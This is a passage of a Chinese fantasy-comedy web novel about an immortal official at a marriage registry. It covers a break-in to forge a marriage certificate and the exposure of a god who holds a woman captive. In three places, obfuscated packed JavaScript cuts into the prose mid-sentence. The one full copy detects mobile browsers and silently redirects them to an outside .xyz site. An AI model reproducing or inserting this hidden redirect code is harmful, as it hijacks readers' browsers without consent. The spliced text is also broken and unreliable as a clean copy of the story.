百捷：“老板，她觉得不爱吃不好吃就不吃了嘛！干嘛逼着人家昧着良心说话呢！厨艺不精就自个多练，咋还来为难吃的人啊！” 灼春：我不是我没有别瞎说！ 灼春捂脸，没眼力见的家伙把事情越描越黑了……在场其他人不是跟自己有仇就是不愿意多管闲事……唉她好想念鸣桐，这个世界好冷漠，必须要鸣桐这样的好人温暖一下…… 天哪救救她吧！这样下去她不是被霉运整疯，就是被小扶疏折磨死…… “厨神别气，司劫肯定不是嫌饭菜不好，不信让她吃给你看！” 突然有人为她说话，灼春一看—— 啊！老牛！牛执司！她任命司劫以后的第一个客人！多么忠厚宽容的好人！狂风大浪中的一盏明灯！对不起牛执司她以后一定好好报答！ 牛执司端着一盘木须肉过来，示意灼春现场吃表明真心。 为了赶快跳过这一茬，灼春二话不说拿起筷子往嘴里扒拉—— 嗯？木须肉是这个口味吗？ 唔……说不出是个什么味道……黏稠的口感，五味杂陈的味道，有什么东西在打桩似的袭击她的大脑，啊，五脏六腑好痛，身体内部各个器官仿佛在生死混战…… 扶疏：“怎么样？——不好吃吗？” 灼春费力瞅一眼目光殷切的扶疏，强挤出一丝笑：“好吃……极了……” “那你怎么哭了？” “不是哭……是好吃到流泪了呜呜……” 扶疏高兴起来：“那好吃你就吃完它！” “对对对，不够还有。”牛执司当即端来更多的菜放到灼春面前。 灼春：“……” 她以后出门一定记得看黄历，预感不妙的时候就顺着自己的感觉，不要再因为他人淫威而后来受罪。 结束接风宴回到家，灼春已经没有人模样了。 牛执司给她吃的到底是什么？她吃了拉了半天肚子站都站不直了…… 外，有摔伤打伤扎伤意外伤；内，有胃痛肠痛嘴痛脑子痛。内外交困，还得拖着病体工作。 她想着，时间会治愈一切，于是躺着睡了一夜等第二天身体好些—— 骗子！ 第二天的身体更加衰弱了！她甚至差点睁不开眼！ 她想着这样熬怕是得把自己熬死等复活，就想看病吃药。但是鸣桐还在轮回镜里，老大那边又没有钱去看病…… 灼春瞄向平稳运行的轮回镜。 要不把鸣桐提早放出来？ 她爬到轮回镜前，抬起了手，最后却顿住。 要有职业道德啊灼春…… 她抱住轮回镜暴风哭泣。 鸣桐你快出来吧！她忍得好痛苦啊！救救孩子吧呜呜呜…… 灼春不怕死，但怕疼。 于是，她厚着脸皮找自己的两个久未相见的下属借钱看病。程冰津欣然出借，麻惠良犹豫了一下还是给了。 灼春觉得自己像在以强权压人，更加不好意思，但是让她不拿这钱吧……她怕疼。 灼春只能发誓，等鸣桐回来了，她就把钱双倍奉还！接着便去找林鸿看病。 林鸿啧啧称奇，称她以这副身体能从家走到妙回堂，说明其确实是仙者，有超乎常人的意志力。 灼春痛苦地趴在桌上：“老大别说废话了，开药救命吧，我快痛死了……” 林鸿没有动作，说：“你钱不够，就算我开了方子你也没钱买药。” “啊？那……那你给我开次一等的药方……” 林鸿：“不够。” “那再次一等……” “不够。” “再再次一等……” “不够。” “……”灼春只能妥协，“那你给我开个我付得起的方子吧，什么都好，只要能让我没那么难受，哪怕只减轻一点也行。” “没有那种价位的药方。”林鸿推给她一白瓷瓶药丸，“你的钱只够买止疼药，不治标不治本，药吃完了病情还会更严重——要不要随你。” 灼春抢过药瓶就倒出一丸吃，连回答“要”的精气神都没有，咽完了才数落林鸿黑心，这么一小瓶止疼药，居然拿走她一两银子。 “别胡说，是问诊二钱，开药方加上这瓶药八钱，其中这瓶止疼药三钱六十文，我还帮你把零头抹了呢。”林鸿收拾医案，扫了她一眼，“贵是贵，但效果好啊。你瞅瞅自己，才吃了一丸，不立马有精神了？这都有工夫埋怨我来了。” “……”灼春哑口，只好说，“那你收费也太夸张，搭个脉二钱，你的手指是能变金子还是变银子？你……你黑心的样子和吉吾简直一个模子刻出来的！你她娘啊！” “欸，不许说脏话！” “我没有！我只是打个比喻，你她娘啊！” “你还说！” “……” 灼春撇撇嘴，打开瓶口数里头的药丸，嘀咕：“我怎么觉得你俩就只对我黑心……” “我以为的黑心是拿钱不干事，可在你那儿的定义似乎不大一样。” 灼春气不过：“我不信你们对别人也这么冷酷无情！” 林鸿喊冤：“难不成你付不起钱我还要自己补上亏空吗？我是大夫不是做慈善的，谁来都一样。横不能让那些付出代价的人和没付出的一个待遇吧？” 林鸿治完灼春，便开始赶客。妙回堂收费贵，但架不住疗效好，有的是人来送银子。患者一个接一个，所以妙回堂外早挂了牌子，让治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原来“小执司”的“小”，不是年龄、工龄的“小”，是“小扶疏”的“小”——回头得和小麻她们解释一下，小扶疏不姓小，免得日后出去别被人笑话——情理所内，打扮得花枝招展的小扶疏柳眉倒竖指着程冰津骂骂咧咧，要多恼人多恼人，然而程冰津始终笑盈盈的，愣是没有一点情绪，也不破罐破摔糊弄办事遂了对方的意。 “……”灼春光在远处看着就累了，“小扶疏都仙者了，还凑什么结婚的热闹……他要和谁成亲啊？” 麻惠良翻开随身携带的记录本，唰唰唰翻到相应那页，说道：“是个叫‘童寻千’的女子，家住荼城，无父无母，资料显示一个多月前刚被一家布庄辞退，尚无新的工作痕迹。” “那人呢？回去了？”小扶疏蛮横不讲理，或许可以从另一人着手。 麻惠良摇头：“童寻千就没出现过，从始至终只有小执司一人。小执司一来就给了这个人的信息，说要和她登记。” 灼春：“……” 怪不得俩小孩坚决不给登记呢。 小扶疏真是趁大人不在欺负娃娃来了。 “这事交给我处理了，待会你和小程在旁边看着，看我怎么对付那臭不要脸的。” 麻惠良“嗯”了一声。 “还有一件事，小扶疏不姓小，叫他‘小扶疏’或者‘风神’都行，‘小执司’这个称呼就别当人面喊了，那人敏感，被他听见回头打你。” “啊？噢、哦……” 40.小执司谁 “嚷什么嚷什么，有话不能好好说吗？” 进了所里，灼春立刻将程冰津从满屋子的恶言恶语中救出来，自己顶上。 小扶疏见是她，气焰莫名矮了一截，冷哼一声，中止了言语攻击。 小扶疏白眼一飞：“偶仙，多管管你手下的人，什么业务水平，连个登记都不会！” “不是不会，是不能。”灼春淡淡道，“你要干嘛，直接和我说，我亲自给你处理。” “……不用，你忙司劫去吧，让你手下人给我办事就可以了。” “诶，今日事今日毕，我都这么问你了干嘛还要找别人。”灼春哼笑，“你也知道你办的事不合理吧？登记婚姻？你？仙者？搞笑呢？” 小扶疏被臊了一下，但很快恢复如常，扬起下巴道：“仙者怎么了！有哪条规定说仙者不能成婚了！” “……好家伙，你跟我玩强词夺理？” 确实没有明文规定仙者不许成婚，不过按照客观逻辑，普遍认为仙者是没必要成婚的——仙者就他大爷的没有繁衍子嗣的器官和能力，顶多谈谈恋爱，登记婚姻干嘛？盖着被子纯聊天？意义呢？ 小扶疏理直气壮：“法无禁止即可为！” 灼春暗道烦人，假装妥协，说：“就算可以吧——那你对象在哪儿呢？一个人办不了，这明文规定了的。” “……这规定，没甚意义吧……” 灼春：“此言差矣！双方同时到场我们才能判断两人是否真心，是否有胁迫、欺骗的外界因素存在嘛！这是为了保护大家，也是为了减少后续不必要的麻烦。” 小扶疏一怔，快速扇扇子，额发鬓发被吹起久久落不下，强势道：“有我仙者的身份作保还不够嘛！” 灼春呵呵了：“够，够你不登记的。” “你！”小扶疏强压下脾气，低了声音咬牙问，“难道不能通融通融？” “那你下次上战场，通融通融被打死行不行？”灼春斜他一眼，“这事儿还能通融，亏你问得出口！” 小扶疏：“……” 小扶疏凑到灼春身边，打开扇子与她耳语：“昨晚上……不好过吧？听说你没钱看病买药？只要……我可以帮你出钱。” 灼春诧异他怎么知道自己身子不适的事，小扶疏晃晃扇子，大方地告诉了她关于“灼春司劫受害者联盟”的其中一个复仇计划。 灼春这才知道，原来接风宴上自己遭遇的，从进门摔跤到回家路上被一群疯狗追着咬，都是人为的事件，是那些小器仙者的小规模报复手段。 对比，灼春只想说—— 还是工作太闲了！！ 抓他们去慎刑殿新建的地牢里改造个一个月，看他们还有多余的精力危害他人！ “我虽然没参与，但是听了一耳朵，他们给你下的药可不简单，不致命，但会让你痛不欲生，而且不解开的话会随着时间越来越痛苦。——怎么样，要接受我的条件吗？” “……” 怪不得呢……原来自己吃的东西被加了料！ 灼春没有说话，当即画了一个传音法阵。 小扶疏挑眉：“现在就要找他们算账？” “何事？”传音阵那边响起一个古井无波的声音。 灼春回答：“夏掌刑，我要举报，有人贿赂我工作，你看怎么办。” 小扶疏：“！！” 夏至凛平静：“贿赂者姓名，时间地点以及具体情况。” 灼春：“在——” “没有这事！我就是问问万一碰上这种情况该怎么办！如果！如果！我看您也挺忙的，就不打扰了呵呵呵回见！” 小扶疏二话不说锁住灼春喉，模仿她的音色答话随后立马关闭法阵，一套动作行云流水。 被放开后，灼春揉着喉咙疯狂咳嗽，冲小扶疏飞白眼，嘲讽问他做过多少回这种事了，熟练得很呢。 “你至于这样吗？” 小扶疏黑着脸，扬起掌刀又收住，最后抿着唇暴躁地给自己摇扇子，脸上的碎发吹得飞起，美人发型突变为炸毛鬃狮。 “好好好，我告辞还不行吗？——哼！你等着，以后别落我手里！” 灼春丝毫不怕他的威胁，甚至还装模作样喊“夏掌刑有人威胁我发出死亡预告”反向吓唬。小扶疏一听“夏掌刑”三个字就落荒而逃，其矫健身姿完美彰显风神气质。 妥，搞定。 灼春回头对两个下属交代道：“以后遇到不合规矩但又跋扈不讲理的仙者，警告了没用，直接报告慎刑殿说有人闹事。” 两人点头。 实际上仙者九成九都是讲道理的，所以交代这一句很明显是针对哪个。 程冰津吧唧吧唧鼓掌赞叹灼春秉公行事，刚正不阿。 “听说灼春姐特别怕疼，受不了病痛，风神说要赠药时，我还以为姐你会乖乖就范呢！真是出人意料！是我等肤浅了，果然仙者不愧是仙者，坚贞不屈，铜心铁胆，高风亮节！我一定向灼春姐学习，争取成为同样有担当的执司！” 灼春被夸得飘飘然，清了清喉咙，谦虚地摇头摆手。末了，又交代了二人坚守岗位有事解决不了再找她后就离开了。 程冰津望着灼春离开的背影，鼓掌的动作久久不能停下。 “事了拂衣去，深藏功与名。——灼春姐真是太有魅力了！”程冰津欣慕地喃喃。 麻惠良犯嘀咕：“这事就这样解决了吗？风神看着可不像……” 程冰津：“嗯？小麻姐你说什么？” “嗯……没什么……我就在想风神想要成婚的对象是何方神圣，为什么不跟他一块来……”麻惠良不愿意危言耸听，就随便扯些话糊弄过去。 “是叫‘童寻千’的荼城姑娘吧？唔，资料库里记录了她平生的经历，是个孤儿，在救济院长大，之后按部就班找到工作，三点一线生活，风评不错，似乎没什么特别？” 程冰津回忆了下对方的信息，也得不出结论。 甚至，她们都想不通两人是怎么产生联系的，一个在荼城，一个在都城新阳，虽说地图上是相邻的城市，但真要走动，御物飞行一趟来回正常就要两个时辰，并不方便。 见程冰津似乎在认真思考，麻惠良莫名感到压力，立刻转移话题让她不要深陷其中。 麻惠良：“马、马上要到月底了，你工作小结写了吗？” “啊，我给忘了！” 程冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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相睦会应该不是她的归宿，回头假装没看到公告，错过报名吧！然后，要赶紧看看工作的信息早点请辞…… 然而她没能混过去。 资具考报名告示一出，程冰津就风风火火地来通知她，与此同时，久居家中司劫的灼春也冲到情理所，为督促她备考添一把火。 灼春：“小麻！这次的竞争非常激烈！我听老——掌舵说，新仙者夏侯振川也会参加考试！招募名额只有一个，你要更加加倍努力啊！” 麻惠良瑟缩：“啊，这……” “唉，只可惜我现在脱不开身，否则一定亲自给你培训！”灼春懊恼。 但是听到灼春不会给自己培训，麻惠良倒是立刻轻松不少。 麻惠良：“没事没事，我自己会准备的……”回头笔试裸考，笔试不过，后面的面试更加不用参加了…… “所以小程！” 灼春点名，后者大声应是。 灼春：“小程！你作为有经验者，在工作之余好好帮助小麻！我们情理所三人一心，少了谁都不行！我们一定要团结！打赢这场艰难的战斗！” 程冰津：“好！！” “嗯！小程我跟你讲，笔试这方面，我相信小麻没有问题，主要就是面试这块！我之前给她训练过，多少打了点底子，回头你呢……” 灼春拉着程冰津积极讨论起小麻的特训问题，麻惠良听着，有仿佛泰山压顶般的压力。 不是……她并没有那么…… 可眼下这个情况，她要是不努力一把似乎都不好意思？ 41.顶风作案 灼春放话，目前最紧要的事乃帮助麻惠良通过资具考，所以情理所的事，若非加急特急，均可往后稍稍，并让程冰津在忙完必须完成的工作后，尽全力训练麻惠良包括但不限于面试技巧、情景模拟、法术抽考。 为了防止有人在情理所闹事，浪费时间妨碍麻惠良备考，灼春还特意请百捷平常巡逻时多到情理所走走看看，帮着照顾一下。 说到百捷，从忙碌的边城回来后，她突然陷入一种没事干的清闲状态。 不是真没事干，而是活都被人抢着干完了。 除了外派的特殊任务，斗武殿的常规工作就是训练、维护治安、支援其他部门的武力需求以及各种零散任务。 当时她们刚回来，小扶疏就立马卸去教练的职务，且龙缨立刻接替上，她都没反应过来。 训练以外的时间，百捷想看看理事堂有没有工作需要，结果看见一样，一样被龙缨接下，看见一样，一样就不需要人了。像什么开山凿石、工程监制、押送物资、追捕犯人……一样都没落下。 在相睦会没事干，于是百捷重操旧业，打算去市场找找保镖一类的兼职—— 他大爷的，又被扫荡了！ 百捷来气了。 龙缨那丫头，一下子干那么多活想干嘛？！存心和她较劲儿是吧？！贪心不足蛇吞象，她就一个人，时间上分配得及吗？！ ——还真可以。 她有几次看见好几个龙缨同时出现干着不同的活，无一例外都步履匆忙。 为了干活……还用上分身术了？ 所谓分身术，顾名思义，就是将施术者按自身意愿分裂出与自己一般无二的形体，而自身的力量也会根据施术者的倾向分配到各个分身之中，属于数量增加质量降低并且回收分身后疲惫度成倍增长的法术。一般不是十分紧急的情况，没人闲得没事自讨苦吃。 照龙缨这个用法，一天下来，人就该累得瘫在床上无念无想了吧？ 好吧，如果是这样，这份决心让作为对手的她认可了。 之后她想起灼春的第二本书已经出版，便立刻从头到尾研读好几遍，列了一串意见去找吉吾。结果吉吾攒眉苦脸地说鸣桐历劫去了，书改不了，先搁着吧。 百捷早听说第二本书卖得不好，没想到对吉吾的影响这么大，便机灵地不去触霉头。 斗武殿闲暇，相睦会无事，兼职外快都干不了，在灼春的邀请下，百捷终于想起之前林鸿安排的巡逻任务，百无聊赖地在各处闲逛——不过因为龙缨的分身无所不在，所以治安相当好，根本不需要另外的巡逻。 反正闲着也是闲着，百捷索性延长了自己的工作时间，常常晃到凌晨几时才施施然回家。 无聊啊，真无聊…… 平静的生活快点过去，来点波澜吧…… 每天这样想着，某日晚上，还真让她碰见了一个溜进情理所盗窃的小贼。 那日半夜，她一时兴起从情理所路过绕远路回家，无意发现情理所有细微的声响，凑近听，确认不是幻听，响动确实存在。 一开始她没联想到有贼，毕竟相睦会的名头摆在那里，一众仙者守着，慎刑殿大门日夜大开，哪个贼活腻歪了在太岁头上动土？不是脑子有问题就是好心给慎刑殿诸位送业绩来了。 再者说，要偷肯定偷藏宝殿金钱殿，一个小破情理所有什么值钱玩意偷？ 电光火石之间百捷就下了“一定是进了老鼠”的结论，想着灼春不在，情理所的两个小家伙说不定胆子小怕老鼠不敢抓，便想做好事不留名帮她们把耗子逮了。 百捷进入情理所，一片黑灯瞎火，她没感觉到老鼠，倒是感受到了一个人形的物体——好家伙！真有不怕死的贼！ 百捷大喝一声：“呔！小贼休走！吃俺一脚！” 百捷飞起一脚踹向对方，谁知对方身手竟比自己预料的要敏捷，一个闪身躲了过去，代替小贼挨这一脚的木柜咔的一声裂成两半。 “还敢躲？” 百捷大怒，随手抄起桌上的瓶瓶罐罐之类的硬物飞出去攻击对方，虽然黑暗中看不分明，但物件破空的嗖嗖声不绝于耳，一听便知是逃无可逃的枪林弹雨之势——居然没吓住！ 那贼当机立断，挨了几下砸，破窗而出，等百捷追出去，已经没有人影了。 好家伙，跑得挺快。 不过这样就能难倒她吗？ 百捷二话不说传音给慎刑殿，让他们立即出击，同时也给斗武殿的同僚们传信，让他们赶紧守住各个出口，千万不能放过这个小贼。 “……放心，那人脸上挂了彩特别好认，我听见他鼻梁被我打断的声儿了！”百捷信誓旦旦。 “先锋放心，我们一定将这个小贼捉拿归案！敢在我们慎刑殿眼皮子底下犯案，眼中还有没有律法了！”慎刑殿的人义愤填膺。 “百捷，你该不是训练怠惰提不动刀了吧？捉个贼还能让人跑了？咱斗武殿的招牌都要倒了！你赶紧回来找战神练练吧！”斗武殿的同僚戏谑道。 “……”被这么一说，百捷自己也颇觉耻辱，可是她要是说对方身手确实好……算了，她自己都觉得是借口。 百捷怒吼：“可恶的贼！毁我名声！回头抓了给他挫骨扬灰！” 次日麻惠良二人来画卯，看到的就是被警戒线层层包围的情理所，慎刑殿的几个执司正在勘察记录现场，百捷和另外一个执司做笔录。 程冰津出面询问发生了什么事，得知半夜有贼闯进情理所很是震惊。 程冰津：“有贼？他来偷什么？” 慎刑殿执司陆珈：“百捷先锋官发现得早，那贼八成还没得手。不过我们也只是估计，这里的东西我们不熟，正打算喊偶仙来核对——既然你们先到了，那也一样，随我们进去清点吧。” 陆珈往二人身上施了不会影响现场痕迹的隐匿术后带她们进入内部，看到眼前凌乱的一切，程冰津和麻惠良都张大了嘴。 程冰津跑到裂成两半的文件柜边上，大惊：“这里装的可是历年来的婚姻资料原件，难道那个贼是想销毁记录隐藏犯罪嫌疑！？——一月、二月……今年的、去年的、前年的……诶？资料没少啊？” 陆珈咳了一声：“那是先锋官捉拿贼人时不小心打坏的。” 另一边麻惠良翻看着桌面上被墨水污染的单子，疑惑：“有婚姻问题的配偶随访资料和相应报告没少，但是……看不清内容，得作废了。” 程冰津激动：“我知道了！那个贼一定是想掩盖婚姻真相，妨碍我们对其婚姻的判断！犯人一定在随访对象之中！” 陆珈再次轻咳：“那些……也是先锋官捉拿贼人时不小心弄脏的……” “……” 程冰津指着一地破碎的客户寄存于此的定情信物：“这些也？” “呃……是先锋官……” 麻惠良指着地上窗边的血迹：“这也是先锋官的？” “哦这倒不是。” 陆珈当即取出水晶瓶子，施法完整收集了地上的血污。 陆珈：“麻烦二位仔细看看是否有缺失物，不拘价值，悉数告予我即可。” 麻惠良程冰津应下，兵分两路在屋子里一寸一寸检查过去。 “陆珈，犯人抓到了没？”百捷做完笔录在门口嚷，“你们慎刑殿也不行啊！都两三个时辰了，怎么还没抓到人！” 陆珈往门口走了两步，无奈道：“我们取证辨认圈定嫌疑人也需要时间的。若您所言无误，贼人的身手极好，等我们慎刑殿的人赶到附近，只怕他早已离开相睦会了。” 百捷摆摆手：“那你放心！我当时就通知了咱斗武殿的人，立即堵住各个出口，这小子绝对逃不出相睦会！我以斗武殿的威信为保！——所以你们真的一个符合描述的生人都没抓到？” “符合描述的倒有一个，可他不是生人……” 百捷莫名：“那就抓啊！管他生人熟人，带回去审了再说嘛！” “他……不好抓。没有真凭实据也不敢抓。”陆珈讪讪。 “谁？你们不敢抓我去！哪个家伙架子这么大！她是龙缨还是掌舵啊！”百捷豪爽地拍拍胸脯拦下这个活。 陆珈迟疑：“可他……是你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967312|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗武殿的人，是风神小扶疏。” “嗐，原来是那小子！我这就逮他去！” 百捷全无顾忌，撸起袖子就往外冲，陆珈在后面喊“人家的伤事出有因”也不理会。 不料，刚出门，就撞上了拐角驭勺飞来的一人。两厢相撞，百捷纹丝未动，对方连人带飞天大勺在半空转了六个大圈。 百捷赶紧过去扶稳。 百捷：“嗯？多味楼的外送？怎么送这来了？” 坐在勺柄上的外送员稳住身形，转身从勺子肚里抽出一层食盒包裹放在门口，说了句“有人点了单注明放这”后，就驾着勺子飞走了。 百捷挠挠头，回身往院里喊了一嗓子“谁点的外送快出来拿”，但是所有人面面相觑就是无人应答。 百捷奇怪：“点了就点了，这有啥不好意思的？你们慎刑殿的人都这么腼腆啊？” 陆珈走过来，吸吸鼻子，忽地有些愧色。 百捷：“咋了你点的？” “我点的。” 一个身影从天而降破空而至，单膝跪地而后捡起食盒淡定起身。拆开包裹，一只喷香的黄金烧鸡在氤氲的热气中亮相，猛烈的香气馋得边上人忍不住吞咽口水。 “夏掌刑。”陆珈恭敬行礼。 夏至凛坦然受礼，扯下一条鸡腿边走边吃。 夏至凛面无表情地嚼吧嚼吧：“现在什么情况，有新增证据吗，是否有物品遗失？” “目前物件还在清点，在窗子下发现了一滩血迹，初步估计是贼人的。接到先锋官报案后我们立刻按照描述进行围捕，但是没有发现可疑生人，差不多符合描述的只有斗武殿的风神小扶疏，但是据他自己描述，是在练武场训练时失手被机关攻击到了。……” 陆珈跟在夏至凛身后报告案情，百捷下意识也跟着走。 哇……烧鸡好香……据说是多味楼的限量款，果然不同凡响！上次灼春给她带了一点鸡肉，差点没给她馋死！ 夏至凛三人走进麻惠良她们正在清点物品的内室，夏至凛站在门口吃着鸡腿环顾四周，接着进去走马观花似的踱了一圈。 等她回到内室的门口，两个鸡腿已经光了，于是她开始撕鸡翅膀。 此时，程冰津清点完自己那部分后去和麻惠良沟通，接着便来告知陆珈没有任何东西遗失。 陆珈皱眉：“确定什么都没吗？” “确定。”程冰津一顿，“不过放情理所印鉴的盒子被打开了，但它也被打到了地上所以有可能是打斗中不小心撞开的？” 夏至凛：“印鉴盒子本来放在哪。” 程冰津回忆：“好像是……桌子上？因为刚用过，所以顺手摆在桌上了。” 夏至凛：“印泥呢。” 程冰津看向麻惠良，后者连忙回答说在抽屉里。 陆珈好笑：“贵重的印鉴放台面，普通的印泥却放在抽屉里？” 麻惠良赧然：“下次我们用完会记得放回去……” 百捷没关注那些，直勾勾盯着夏至凛手里香得流油的烤鸡。 “那个，夏掌刑，能分我一口吗？”百捷不好意思地咽了咽口水。 夏至凛看向她，严肃道：“先锋官，抓人的事就交给你了，这次我的人恐怕没那个本事。” “行，没问题！你要抓谁？——我不挑，你给我鸡屁股那块就成！” 夏至凛肃容：“是风神小扶疏，希望你不要护短。” 百捷：“嗐，有什么短！我本来就是要逮他去的！等我吃完这一口就去——” 百捷将手伸向鸡屁股，快碰到时，夏至凛自然地抬手与她十指相扣，一把拉住，转身扯着她往大门外去。 “不能再等！这件事的影响极其恶劣，绝不能等闲视之！你现在带着我的抓捕许可令即刻出发，抓到人后直接带去主殿见掌舵，我稍后就到！” “不是，我先吃一口……” “百捷执司！百姓和相睦会的同僚们都期待着你胜利的好消息！” “……” “啪！” 百捷被关在了情理所院子大门外。 42.真相大白 有一说一，小扶疏现在很慌。 凌晨的时候他特意等百捷巡逻过才进情理所，谁知道这家伙心血来潮又走一遍！ 他知道自己单打独斗不是百捷的对手，便想扬长避短，在被抓住前逃离现场。百捷没抓着他，也没看清他的模样，事后最多加强戒备让他不好得手——谁知道这家伙臭不要脸，追不上人居然还有脸请外援！ 小扶疏知道自己挂了彩的事藏不过去，便到练武场伪装了一番，再加上他身份摆在那儿，总算逃过一劫。 呼…… 抓不到贼，过了风头应该就没事了吧？ 然而，他低估了百捷的固执与新任掌刑的自尊。 夏至凛命慎刑殿上上下下马不停蹄地追踪、搜集证据，联合斗武殿封锁了相睦会所有出入口。斗武殿有人有异议，有一个算一个被百捷控制住，不得不坚守封锁路。 到了天亮，得知两批人马还在风风火火地查案，他就有种不祥的预感，这件事可能没那么快解决。 没过多久，理事堂知道了，积极配合查案，动用资料库匹配可能的人选。 片刻后，吉吾知道了，接着相睦会大大小小的部门全知道了。 最后，也是最不好收场的是，林鸿知道了。 林鸿知道后，勃然大怒，勒令相睦会所有人积极配合慎刑殿，务必将罪犯绳之以法。她为了督促结案，甚至主动对外公布了相睦会遭窃的事，破釜沉舟。 于是，全天下都知道了。 所有人都在等此事的结果，如果相睦会交不出一个合理的结果，便会沦为天下的笑柄，什么“为百姓谋福”“创造美好未来”，全是空谈。到时候，相睦会能否继续存在都得打一个疑问。 至此，事情闹得超出想象，已经无法回头了。 到了这个地步，只有再来一次灾潮才能将此事糊弄过去。 小扶疏四十五度仰望天空，觉得自己的死期不远了…… 所以，当百捷来逮捕他时，他都没有反抗。 怎么说呢，甚至还有一种尘埃落定的安心感，悬着的心终于吊死了。 “……情理所的印鉴盒虽然是摆在桌上的，但程执司切切实实上了锁。诸位请看，这是偶仙设置的锁，锁芯上有一个微型法阵，就是为了防止意外开盒。所以，如果没有人特意打开，印鉴盒不可能被摔开。——再看这小瓶里的血污，血污里混进了少量印泥，这印泥很独特，颜色和气味都非常陈旧……” 夏至凛神闲气定地在主殿向林鸿、理事长、封神级执司与相关涉案人员出示证据并作解释，片刻的陈述后，她看向沉默不语的小扶疏，推定道：“这一切证据都指向了同一个人，风神小扶疏。” 林鸿点点头，在夏至凛抽丝剥茧的叙述中，她也慢慢猜到了。 她看向小扶疏，正颜厉色：“小扶疏，这些指证，你可有异议？” “……我认罪。”小扶疏叹了口气，痛快认罪。 在场诸人：“……？” 结束得比想象中要快啊？ 没有你来我往的争辩吗？没有百转千回的内情吗？没有供吃瓜看戏的激烈场景吗？还有经典的认罪剖白桥段呢？？ 林鸿见此事没有争论，便让夏至凛以掌刑之名下结案陈词，按照律法为小扶疏定罪。 小扶疏闷声不响。 早点结束这场闹剧吧，这正是他想要的。 “掌舵请稍等，”夏至凛不疾不徐地举手示意暂停，“在追查此次‘私闯情理所’事件过程中，我发现了几个疑点——第一，小扶疏私闯情理所所为何事呢？第二，为什么小扶疏要私闯情理所呢？第三，小扶疏乖顺认罪毫不辩驳，其中是否另有隐情呢？” 百捷灵光一闪，激动抢答：“你是说他在替真正的犯人顶罪！！” “那倒不是，他就是唯一那个私闯情理所的犯人没错，各种意义上都是。”夏至凛淡然驳回百捷的猜测。 英理事长捏着下巴，似笑非笑：“夏掌刑，你该不会是想为其脱罪减刑吧？” 夏至凛：“恰恰相反，我觉得‘私闯情理所’这一条还不够。” 夏至凛一拍手，陆珈等人换了一批新的证据上来。 夏至凛捏起其中一份婚姻登记书，展示道：“这是我们在情理所登记簿上发现的多出的一列信息，手续齐全，而这桩婚姻的男女主角，分别是童某和风神小扶疏。” 联系血液中的印泥与印鉴的开启，夏至凛推测出了小扶疏的用意——伪造婚姻证书。 小扶疏坐在嫌犯席上攥住了双拳。 林鸿身侧的英理事长摇头叹息：“小扶疏你糊涂啊……虽说仙者成婚不太合常理，但也不是全然不可，你白天找偶仙商量商量不行吗？何至于如此啊……” 夏至凛：“据慎刑殿调查，风神就成婚一事找过一次偶仙，甚至想行贿换取许可，但是偶仙坚守原则，将其喝退。” 小扶疏心惊她怎么查出来的——眼前忽地闪过当时灼春报案的画面，他无语到发笑。 是了，那可是慎刑殿，怎么可能不刨根问底呢？ 百捷大惊：“哇！灼春居然没有接受贿赂！看来小扶疏做了很过分的事啊！” “行贿？”林鸿与英理事长对视一眼，皱眉，“为何？” 仙者无法繁衍，仙者与他人成婚背离了婚姻的原意，但也不是不可以，只要非仙者方面知情同意，签署责任书，尽管手续繁琐些，终究不是逆天而行的坏事，这有行贿的必要？是为了略过这些手续吗？这么急？ 夏至凛取出另一沓纸，说道：“因为小扶疏的成婚对象并不愿意。” 满堂哗然。 小扶疏愤而拍桌，怒斥夏至凛胡言乱语。 夏至凛只是淡淡回问，那么他去情理所办理登记手续时，为何只有他一个人。 小扶疏：“……” 小扶疏：“因为……” “因为你绑架了她，强迫对方与你成婚。” 夏至凛平静一句，炸出了满屋子的惊诧，所有人都忍不住倒吸一口冷气。 夏至凛知道没有证据大家不会相信如此荒唐的故事，于是早就准备好了一切，当即将推测联合证据娓娓道来—— 一个半月前，小扶疏路过荼城，对荼城女子童寻千一见钟情，便偷偷绑架了对方并作囚禁，企图强制让对方爱上自己。然而童寻千誓死不从，小扶疏屡屡碰壁之下，恶向胆边生，决定生米煮成熟饭——从法律意义上与其结成配偶。可是小扶疏没料到偶仙格外有原则，不同意单方面的婚姻申请，于是便摸透情理所诸位与百捷的行动路线，半夜前来伪造婚姻证书。结果就被一时兴起绕远路回家的百捷碰上，惊动了全相睦会，最后被捕。 夏至凛：“而你，小扶疏，之所以那么痛快地认罪，就是想赶紧了结此事，好掩盖你非法拘禁他人的恶行！” “我没有非法拘禁她！她是自愿的！我们是真心相爱的！”小扶疏激动得红了脸，“我们的相遇是久别重逢，我爱她，她也爱我！我们是自愿陪伴在彼此身边的，她愿意与我结为连理，她愿意的！” “哦？她亲口跟你说的？” “一切尽在不言中！我们之间的默契无需将一切挑明，彼此就心知肚明！” “你说你俩相爱？那你为何要绑架童寻千并将她藏起来不许离开？” “我没有绑架她！她是自愿和我走的！” “是么？可调查显示，你替她向做事的布庄递交了辞呈，童寻千无处可去才被你以招工为名哄骗，最后惨遭囚禁。” 小扶疏冷笑：“呵，你们慎刑殿不过如此么。递交辞呈是千云和我在一起半个月之后的事，她是因为损坏了我的折扇，自愿到我身边还债的。” “笑话。谁不知你风神的扇子都是铜打铁铸的，童寻千不过区区凡人，能损坏得了它？” “自然是我在折扇上施了法术——” 小扶疏猛地顿住，张皇地瞪向夏至凛。 